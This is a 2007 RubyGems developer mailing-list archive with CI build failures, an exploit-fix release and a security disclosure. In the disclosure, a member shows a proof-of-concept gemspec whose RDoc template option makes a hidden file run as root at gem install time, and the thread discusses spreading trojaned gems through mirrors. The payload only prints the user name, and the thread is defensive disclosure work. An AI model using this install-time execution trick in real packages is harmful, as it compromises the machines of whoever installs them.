c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' > > ./test/gemutilities.rb:78:in `teardown' > > Same as above. > > None of these look like problems with gems so much as problems with the > test suite. Proposal to rubygems developers. Does it make sense to create separate maillist for Cerberus build result? Sometime I feel my guilt because of flooding rubygems developers maillist. -- anatol (http://feeds.feedburner.com/apomozov-eng) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070117/72b5c051/attachment.html From anatol.pomozov at gmail.com Tue Jan 16 16:09:42 2007 From: anatol.pomozov at gmail.com (Cerberus) Date: Wed, 17 Jan 2007 00:09:42 +0300 Subject: [Rubygems-developers] [rubygems] Build still broken (#1201) but getting better Message-ID: <45ad3f15f03c0_b8013de40a1a9@ubuntu.tmail> ------------------------------------------------------------------------ r1200 | drbrain | 2007-01-16 22:20:01 +0300 | 1 line Changed paths: M /trunk/lib/rubygems/rubygems_version.rb Updated to version 0.9.1 ------------------------------------------------------------------------ (in C:/Documents and Settings/anatol/.cerberus/work/rubygems/sources) require_gem is obsolete. Use gem instead. Loaded suite c:/PROGRA~1/ruby/lib/ruby/gems/1.8/gems/rake-0.7.1/lib/rake/rake_test_loader Started .........................................................................F..................................................................EE......................................................................................................................................................... Finished in 32.516 seconds. 1) Failure: test_class_build(TestGemExtRakeBuilder) [./test/test_gem_ext_rake_builder.rb:35]: <["rake RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3984/prefix RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3984/prefix extension", "(in C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3984/ext)\n"]> expected but was <["rake RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3984/prefix RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3984/prefix extension", "(in C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3984/ext)\nrequire_gem is obsolete. Use gem instead.\n"]>. 2) Error: test_install_bad_gem(TestInstaller): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3984/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 3) Error: test_install_with_message(TestInstaller): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3984/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 295 tests, 1027 assertions, 1 failures, 2 errors rake aborted! Command failed with status (1): [c:/PROGRA~1/ruby/bin/ruby -w -Ilib "c:/PRO...] (See full trace by running task with --trace) -- Cerberus 0.3.3, http://cerberus.rubyforge.org/ From drbrain at segment7.net Tue Jan 16 17:02:51 2007 From: drbrain at segment7.net (Eric Hodel) Date: Tue, 16 Jan 2007 14:02:51 -0800 Subject: [Rubygems-developers] [rubygems] Build broken by drbrain (#1201) In-Reply-To: <3665a1a00701161301j4c1727f8i9b8c994daa98dbcc@mail.gmail.com> References: <45ad2a63762a0_f417419e41a1@ubuntu.tmail> <7524A45A1A5B264FA4809E2156496CFB0D0E22@ITOMAE2KM01.AD.QINTRA.COM> <3665a1a00701161301j4c1727f8i9b8c994daa98dbcc@mail.gmail.com> Message-ID: <0B07B181-8036-4C74-AC88-3A0054346874@segment7.net> On Jan 16, 2007, at 13:01, Anatol Pomozov wrote: > Proposal to rubygems developers. Does it make sense to create > separate maillist for Cerberus build result? Sometime I feel my > guilt because of flooding rubygems developers maillist. Please keep them here, I enjoy them. I'd like to get bug reports coming here too. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From pabs at pablotron.org Tue Jan 16 17:11:59 2007 From: pabs at pablotron.org (Paul Duncan) Date: Tue, 16 Jan 2007 17:11:59 -0500 Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit In-Reply-To: <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> Message-ID: <20070116221159.GW15628@vault.home.pablotron.org> * Eric Hodel (drbrain at segment7.net) wrote: > On Jan 12, 2007, at 22:58, Paul Duncan wrote: > > * Eric Hodel (drbrain at segment7.net) wrote: [snipped] > >> RubyGems does not check installation paths for gems before writing > >> files. > > > > The potential security problems with RubyGems are actually much worse > > than that. Documentation and tests are executed as the user doing the > > install (which, as you said, is usually root). That means I can embed > > arbitrary Ruby code in either the documentation template and it will > > usually be run as root. For example: > > I don't think there's an easy way around this one. Easy is certainly subjective, but there are a couple ways to "fix" the documentation hole: * RubyGems could pre-generate documentation and just copy it into place (I don't like this solution; it makes gems significantly larger). * RubyGems should create an initial documentation directory elsewhere, then drop root permissions (maybe even chroot() as well) and generate the documentation as a user with no privileges in the safe location, then move the generated documentation into place. The second option is preferrable, and it's actually a lot easier to implement than it sounds. I have a half-working patch that I can clean up and submit if there's any interest. Basically it just creates a copy of the source in a temporary directory, then forks a child process which chroot() itself and drops it's permissions before generating any documentation. The parent waits for the child to exit, then copies the generated documentation into place. Unfortunately that doesn't really fix much of anything, because it only closes off the huge security hole in documentation generation. It doesn't prevent a malicious user from trojaning an existing gem and adding files or replacing legitimate code with pretty much whatever they want. The _really_ bad news is this type of attack became a whole lot easier once RubyGems started using mirrors. Instead of worrying about a malicious user breaking into one machine (rubyforge.org), we now have to worry about them breaking into N machines, where N is the number of Gem mirrors. The only way to completely eliminate this type of attack would be to force gem authors to sign their gems, create an author certificate distribution mechanism (or tie it to some sort of existing trust mechanism like X.509 or PGP keyservers [1]), remove all the unsigned gems from the Gem repositories, and (finally) enable signature checking by default in RubyGems. Frankly, I don't see all of that (or any of it, really) happening any time soon. The idea behind all the above steps is to assume the contents of packages can and eventually will be tinkered with, and to provide a way for users to be reasonably certain that nothing fishy has happened to packages once they're out of the authors' hands and on the Gem repositories. [1] Debian uses PGP to do this, although they're not nearly as strict about unsigned packages as they should be, especially in lieu of the multiple attacks on Debian servers in the last several years. > -- > Eric Hodel - drbrain at segment7.net - http://blog.segment7.net -- Paul Duncan OpenPGP Key ID: 0x82C29562 http://www.pablotron.org/ http://www.paulduncan.org/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://rubyforge.org/pipermail/rubygems-developers/attachments/20070116/c11d1592/attachment.bin From curt.hibbs at gmail.com Tue Jan 16 17:12:17 2007 From: curt.hibbs at gmail.com (Curt Hibbs) Date: Tue, 16 Jan 2007 16:12:17 -0600 Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit In-Reply-To: <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> Message-ID: <31d15f490701161412ma56bfa2t87b2438be37e4897@mail.gmail.com> FYI... As soon as you guys are ready to release something, I ready to release a new One-Click Ruby Installer that contains it. Curt On 1/16/07, Eric Hodel wrote: > > On Jan 12, 2007, at 22:58, Paul Duncan wrote: > > * Eric Hodel (drbrain at segment7.net) wrote: > >> I've checked in fixes for an installation exploit found by Gavin > >> Sinclair. Here's a draft email describing the exploit and how to fix > >> RubyGems. I only supplied patches for the past two versions of > >> RubyGems, since tattle says that's what everybody uses. > >> > >> Subject: RubyGems 0.9.0 and earlier installation exploit > >> > >> Problem Description: > >> > >> RubyGems does not check installation paths for gems before writing > >> files. > > > > The potential security problems with RubyGems are actually much worse > > than that. Documentation and tests are executed as the user doing the > > install (which, as you said, is usually root). That means I can embed > > arbitrary Ruby code in either the documentation template and it will > > usually be run as root. For example: > > I don't think there's an easy way around this one. > > > Obviously the same thing can be done with unit tests. While > > neither of > > these are a bug with RubyGems per-se, they're both convenient > > places to > > hide sneak away code that will be run as root on a lot of machines at > > install time. > > I think I'll pull the ability to run unit tests out of gem install > for 0.9.2. The whole thing is various shades of broken anyhow and > needs a revamp. > > -- > Eric Hodel - drbrain at segment7.net - http://blog.segment7.net > > I LIT YOUR GEM ON FIRE! > > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070116/66f5acc1/attachment-0001.html From drbrain at segment7.net Tue Jan 16 21:58:58 2007 From: drbrain at segment7.net (Eric Hodel) Date: Tue, 16 Jan 2007 18:58:58 -0800 Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit In-Reply-To: <31d15f490701161412ma56bfa2t87b2438be37e4897@mail.gmail.com> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> <31d15f490701161412ma56bfa2t87b2438be37e4897@mail.gmail.com> Message-ID: <594D4857-42D0-4609-8EFA-426ECFAA2047@segment7.net> On Jan 16, 2007, at 14:12, Curt Hibbs wrote: > FYI... As soon as you guys are ready to release something, I ready > to release a new One-Click Ruby Installer that contains it. Its released. Ask if you need anything extra. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From drbrain at segment7.net Tue Jan 16 22:05:36 2007 From: drbrain at segment7.net (Eric Hodel) Date: Tue, 16 Jan 2007 19:05:36 -0800 Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit In-Reply-To: <20070116221159.GW15628@vault.home.pablotron.org> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> <20070116221159.GW15628@vault.home.pablotron.org> Message-ID: <9FC6EFB8-220C-4AE7-8B74-63DF43A6707D@segment7.net> On Jan 16, 2007, at 14:11, Paul Duncan wrote: > * Eric Hodel (drbrain at segment7.net) wrote: >> On Jan 12, 2007, at 22:58, Paul Duncan wrote: >>> * Eric Hodel (drbrain at segment7.net) wrote: > [snipped] >>>> RubyGems does not check installation paths for gems before writing >>>> files. >>> >>> The potential security problems with RubyGems are actually much >>> worse >>> than that. Documentation and tests are executed as the user >>> doing the >>> install (which, as you said, is usually root). That means I can >>> embed >>> arbitrary Ruby code in either the documentation template and it will >>> usually be run as root. For example: >> >> I don't think there's an easy way around this one. > > Easy is certainly subjective, but there are a couple ways to "fix" the > documentation hole: Currently no user-generated code is run to create the documentation. The RDoc tool doesn't eval anything, so I think generating documentation is safe. (Of course, I'm not 100% certain you can't get code eval'd by running RDoc on it, only 99%) Running unit tests and building extensions is less-safe. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From curt.hibbs at gmail.com Tue Jan 16 22:22:08 2007 From: curt.hibbs at gmail.com (Curt Hibbs) Date: Tue, 16 Jan 2007 21:22:08 -0600 Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit In-Reply-To: <594D4857-42D0-4609-8EFA-426ECFAA2047@segment7.net> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> <31d15f490701161412ma56bfa2t87b2438be37e4897@mail.gmail.com> <594D4857-42D0-4609-8EFA-426ECFAA2047@segment7.net> Message-ID: <31d15f490701161922w7f12ca95x3856d0d016831132@mail.gmail.com> On 1/16/07, Eric Hodel wrote: > > On Jan 16, 2007, at 14:12, Curt Hibbs wrote: > > > FYI... As soon as you guys are ready to release something, I ready > > to release a new One-Click Ruby Installer that contains it. > > Its released. Ask if you need anything extra. > Excellent... thanks! Curt -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070116/0d171e53/attachment.html From pabs at pablotron.org Tue Jan 16 23:05:12 2007 From: pabs at pablotron.org (Paul Duncan) Date: Tue, 16 Jan 2007 23:05:12 -0500 Subject: [Rubygems-developers] Trojan a RubyGems Package in 3 Easy Steps (was "Re: Need to release 0.9.1 due to security exploit") In-Reply-To: <9FC6EFB8-220C-4AE7-8B74-63DF43A6707D@segment7.net> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> <20070116221159.GW15628@vault.home.pablotron.org> <9FC6EFB8-220C-4AE7-8B74-63DF43A6707D@segment7.net> Message-ID: <20070117040512.GX15628@vault.home.pablotron.org> * Eric Hodel (drbrain at segment7.net) wrote: > On Jan 16, 2007, at 14:11, Paul Duncan wrote: > > * Eric Hodel (drbrain at segment7.net) wrote: > >> On Jan 12, 2007, at 22:58, Paul Duncan wrote: > >>> * Eric Hodel (drbrain at segment7.net) wrote: > > [snipped] > >>>> RubyGems does not check installation paths for gems before writing > >>>> files. > >>> > >>> The potential security problems with RubyGems are actually much > >>> worse > >>> than that. Documentation and tests are executed as the user > >>> doing the > >>> install (which, as you said, is usually root). That means I can > >>> embed > >>> arbitrary Ruby code in either the documentation template and it will > >>> usually be run as root. For example: > >> > >> I don't think there's an easy way around this one. > > > > Easy is certainly subjective, but there are a couple ways to "fix" the > > documentation hole: > > Currently no user-generated code is run to create the documentation. I'm not sure what you mean by user-generated (do you mean generated by the author, generated by the end user, or something else), but if I wanted to install a trojan on thousands of peoples' machines, all I'd need to do would be to build a malicious gem (see below), called "rails-2.0" and upload it to my gem directory, then sit and wait. Alternatively (if I wanted to be a bit less direct about it), I could break in to one of the mirrors and replace a legitimate gem with a malicious version that included a trojaned documentation template. > The RDoc tool doesn't eval anything, so I think generating > documentation is safe. (Of course, I'm not 100% certain you can't > get code eval'd by running RDoc on it, only 99%) This is simply not true; any code in an RDoc documentation template is executed at install-time by the installation user (which, again, is usually root on Unix systems). Here's the excerpt from the example I sent previously: # relevant contents of malice.gemspec: spec = Gem::Specification.new do |s| # basic gem stuff here # use ./malice.rb as the rdoc template (the contents of this file # will be executed as the installation user) s.has_rdoc = true s.rdoc_options = ['--template', './malice.rb', 'malice.rb'] end And here's the contents of malice.rb: # THIS CODE WILL BE RUN AS ROOT $stderr.puts "hello, i'm running as #{ENV['USER']}" exit 0 Finally, here's what happens when we build and install this gem: pabs at halcyon:~/proj/snippets/ruby/malice> gem --version && gem build ./malice.gemspec && sudo gem install ./Malicious-Gem-0.1.0.gem 0.9.0 Successfully built RubyGem Name: Malicious-Gem Version: 0.1.0 File: Malicious-Gem-0.1.0.gem Successfully installed Malicious-Gem, version 0.1.0 Installing ri documentation for Malicious-Gem-0.1.0... Installing RDoc documentation for Malicious-Gem-0.1.0... hello, i'm running as root <-- THAT IS VERY BAD pabs at halcyon:~/proj/snippets/ruby/malice> The gist of the output above is that if you pass RDoc a template (the -T or --template command-line options) via the Gem specification file, it's evaluated and _executed at _installation time_ as the _installation user_ (which is usually root on Unix systems). I've attached both the gemspec and the rb file; feel free to verify this behavior on your own. > Running unit tests and building extensions is less-safe. They're about the same. Paradoxically, unit tests and building native extensions may actually be more safe than generating documentation, in the sense that people reasonably expect both unit tests and compiling native extensions to execute some sort of packaged code at installation time, while the same cannot be said about the documentation. This unintentional side-effect of RDoc is what makes this hidden corner such a good place to stick malicious code, which is exactly why I'm making so much noise about it. > -- > Eric Hodel - drbrain at segment7.net - http://blog.segment7.net -- Paul Duncan OpenPGP Key ID: 0x82C29562 http://www.pablotron.org/ http://www.paulduncan.org/ -------------- next part -------------- require 'rubygems' blurb = 'This is a demonstration of a malicious RubyGem.' spec = Gem::Specification.new do |s| s.platform = Gem::Platform::RUBY #### Basic information. s.name = 'Malicious-Gem' s.version = '0.1.0' s.summary = blurb s.description = blurb s.author = 'Mallory Malice' s.email = 'mallory at example.com' s.require_path = '.' s.autorequire = './malice.rb' s.files = Dir.glob("**/*").delete_if { |path| %w{CVS .svn .hg}.any? { |chunk| path.include?(chunk) } } s.has_rdoc = true s.rdoc_options = ['--template', './malice.rb', 'malice.rb'] end -------------- next part -------------- # # Hello, I am an ordinary module. Nothing to see here. # module Malice end # THIS CODE WILL BE RUN AS ROOT $stderr.puts "hello, i'm running as #{ENV['USER']}" exit 0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://rubyforge.org/pipermail/rubygems-developers/attachments/20070116/53dc53cd/attachment.bin From thewoolleyman at gmail.com Wed Jan 17 00:41:01 2007 From: thewoolleyman at gmail.com (Chad Woolley) Date: Tue, 16 Jan 2007 22:41:01 -0700 Subject: [Rubygems-developers] [rubygems] Build broken by drbrain (#1201) In-Reply-To: <3665a1a00701161301j4c1727f8i9b8c994daa98dbcc@mail.gmail.com> References: <45ad2a63762a0_f417419e41a1@ubuntu.tmail> <7524A45A1A5B264FA4809E2156496CFB0D0E22@ITOMAE2KM01.AD.QINTRA.COM> <3665a1a00701161301j4c1727f8i9b8c994daa98dbcc@mail.gmail.com> Message-ID: On 1/16/07, Anatol Pomozov wrote: > Proposal to rubygems developers. Does it make sense to create separate > maillist for Cerberus build result? Sometime I feel my guilt because of > flooding rubygems developers maillist. More guilt leads to sooner green builds :) From drbrain at segment7.net Wed Jan 17 00:42:45 2007 From: drbrain at segment7.net (Eric Hodel) Date: Tue, 16 Jan 2007 21:42:45 -0800 Subject: [Rubygems-developers] Trojan a RubyGems Package in 3 Easy Steps (was "Re: Need to release 0.9.1 due to security exploit") In-Reply-To: <20070117040512.GX15628@vault.home.pablotron.org> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> <20070116221159.GW15628@vault.home.pablotron.org> <9FC6EFB8-220C-4AE7-8B74-63DF43A6707D@segment7.net> <20070117040512.GX15628@vault.home.pablotron.org> Message-ID: On Jan 16, 2007, at 20:05, Paul Duncan wrote: > * Eric Hodel (drbrain at segment7.net) wrote: >> The RDoc tool doesn't eval anything, so I think generating >> documentation is safe. (Of course, I'm not 100% certain you can't >> get code eval'd by running RDoc on it, only 99%) > > This is simply not true; any code in an RDoc documentation template is > executed at install-time by the installation user (which, again, is > usually root on Unix systems). Here's the excerpt from the example I > sent previously: I'm sorry. Next time I'll bother to read your email instead of making assumptions. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From hgs at dmu.ac.uk Wed Jan 17 04:27:11 2007 From: hgs at dmu.ac.uk (Hugh Sasse) Date: Wed, 17 Jan 2007 09:27:11 +0000 (WET) Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit In-Reply-To: <20070116221159.GW15628@vault.home.pablotron.org> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> <20070116221159.GW15628@vault.home.pablotron.org> Message-ID: On Tue, 16 Jan 2007, Paul Duncan wrote: > The _really_ bad news is this type of attack became a whole lot easier > once RubyGems started using mirrors. Instead of worrying about a > malicious user breaking into one machine (rubyforge.org), we now have to > worry about them breaking into N machines, where N is the number of > Gem mirrors. That's "breaking into any one of N machines" I take it? Having to hack more than one would make it stronger, but 1 of N weaker... > > The only way to completely eliminate this type of attack would be to > force gem authors to sign their gems, create an author certificate > distribution mechanism (or tie it to some sort of existing trust > mechanism like X.509 or PGP keyservers [1]), remove all the unsigned > gems from the Gem repositories, and (finally) enable signature checking > by default in RubyGems. > > Frankly, I don't see all of that (or any of it, really) happening any > time soon. > I'd prefer to not get into all that as well. Doing cryptography right, keeping the keys somewhere useful but sufficiently inaccessible, coping with the (changes in) cryptography legislation: it's all rather horrible. Is there any merit in this suggestion, below? SHA256 hashes of the gems are kept on at least 3 servers. A gem is accepted from a mirror if it's hash agrees with a majority of the responses from those servers. Pluses: Ruby contains the code for SHA256 in the standard library and it's better than md5 (harder work to fake). Maybe both together would be stronger. To plant a fake gem would mean breaking into a majority of the hash servers, rather than just one machine It would be somewhat less prone to network/host outages iff there are >3 servers Minuses: It's still pretty weak. we need some mechanism to prevent the data being replicated (falsely) across a majority/all the servers How do we keep people up to date with where the servers are, which can be trusted, etc, without weakening security? "Key under the doormat" problem. (security = 1/convenience) Interesting: Could be applied to more than just the gems. I'm sure this is really rather naive, and what I've read about NOT implementing security systems from the ground up leads me to believe that this idea should probably be killed sooner rather than later, but in the hope that it is an improvement over where we are now, I will risk my global display of ignorance.... Hugh From tom at infoether.com Wed Jan 17 05:59:35 2007 From: tom at infoether.com (Tom Copeland) Date: Wed, 17 Jan 2007 05:59:35 -0500 Subject: [Rubygems-developers] Trojan a RubyGems Package in 3 Easy Steps (was "Re: Need to release 0.9.1 due to security exploit") In-Reply-To: <20070117040512.GX15628@vault.home.pablotron.org> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> <20070116221159.GW15628@vault.home.pablotron.org> <9FC6EFB8-220C-4AE7-8B74-63DF43A6707D@segment7.net> <20070117040512.GX15628@vault.home.pablotron.org> Message-ID: <1169031575.2943.46.camel@bugs.hal> On Tue, 2007-01-16 at 23:05 -0500, Paul Duncan wrote: > if I > wanted to install a trojan on thousands of peoples' machines, all I'd > need to do would be to build a malicious gem (see below), called > "rails-2.0" and upload it to my gem directory, then sit and wait. Hm, but that gem wouldn't be deployed on the RubyForge gem index unless it was uploaded to the rails project on RubyForge... so only folks who deliberately downloaded the gem from your project area would get p0wnd... Yours, Tom From tom at infoether.com Wed Jan 17 08:51:58 2007 From: tom at infoether.com (Tom Copeland) Date: Wed, 17 Jan 2007 08:51:58 -0500 Subject: [Rubygems-developers] Gem indexing problem on RubyForge In-Reply-To: References: <1168828831.24095.147.camel@bugs.hal> <068C77A2-CD6E-45DD-84C7-E70B05244C97@segment7.net> <20070115213510.GM15628@vault.home.pablotron.org> Message-ID: <1169041918.2943.61.camel@bugs.hal> On Mon, 2007-01-15 at 16:53 -0800, Eric Hodel wrote: > Renaming without harm would be preferred, but it looks like your /i > should fix that... OK, I'm moving ahead with /\/#{spec_full_name}.*\.gem$/i. Should have it in place more or less shortly. Yours, Tom From tom at infoether.com Wed Jan 17 09:41:03 2007 From: tom at infoether.com (Tom Copeland) Date: Wed, 17 Jan 2007 09:41:03 -0500 Subject: [Rubygems-developers] Gem indexing problem on RubyForge In-Reply-To: <1169041918.2943.61.camel@bugs.hal> References: <1168828831.24095.147.camel@bugs.hal> <068C77A2-CD6E-45DD-84C7-E70B05244C97@segment7.net> <20070115213510.GM15628@vault.home.pablotron.org> <1169041918.2943.61.camel@bugs.hal> Message-ID: <1169044863.2943.63.camel@bugs.hal> On Wed, 2007-01-17 at 08:51 -0500, Tom Copeland wrote: > On Mon, 2007-01-15 at 16:53 -0800, Eric Hodel wrote: > > Renaming without harm would be preferred, but it looks like your /i > > should fix that... > > OK, I'm moving ahead with /\/#{spec_full_name}.*\.gem$/i. Should have > it in place more or less shortly. It's in place, cronjob is running again, all seems well. I'll contact the affected gem authors individually. Thanks for the suggestions here, Yours, Tom From pabs at pablotron.org Wed Jan 17 10:58:48 2007 From: pabs at pablotron.org (Paul Duncan) Date: Wed, 17 Jan 2007 10:58:48 -0500 Subject: [Rubygems-developers] Trojan a RubyGems Package in 3 Easy Steps (was "Re: Need to release 0.9.1 due to security exploit") In-Reply-To: <1169031575.2943.46.camel@bugs.hal> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> <20070116221159.GW15628@vault.home.pablotron.org> <9FC6EFB8-220C-4AE7-8B74-63DF43A6707D@segment7.net> <20070117040512.GX15628@vault.home.pablotron.org> <1169031575.2943.46.camel@bugs.hal> Message-ID: <20070117155848.GY15628@vault.home.pablotron.org> * Tom Copeland (tom at infoether.com) wrote: > On Tue, 2007-01-16 at 23:05 -0500, Paul Duncan wrote: > > if I > > wanted to install a trojan on thousands of peoples' machines, all I'd > > need to do would be to build a malicious gem (see below), called > > "rails-2.0" and upload it to my gem directory, then sit and wait. > > Hm, but that gem wouldn't be deployed on the RubyForge gem index unless > it was uploaded to the rails project on RubyForge... so only folks who > deliberately downloaded the gem from your project area would get > p0wnd... That's a good start, but it doesn't address the situation where one of the mirrors or RubyForge itself is compromised, and a malicious gem is forcibly inserted into the rotation. > Yours, > > Tom -- Paul Duncan OpenPGP Key ID: 0x82C29562 http://www.pablotron.org/ http://www.paulduncan.org/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://rubyforge.org/pipermail/rubygems-developers/attachments/20070117/29e679de/attachment.bin From tom at infoether.com Wed Jan 17 11:03:26 2007 From: tom at infoether.com (Tom Copeland) Date: Wed, 17 Jan 2007 11:03:26 -0500 Subject: [Rubygems-developers] Trojan a RubyGems 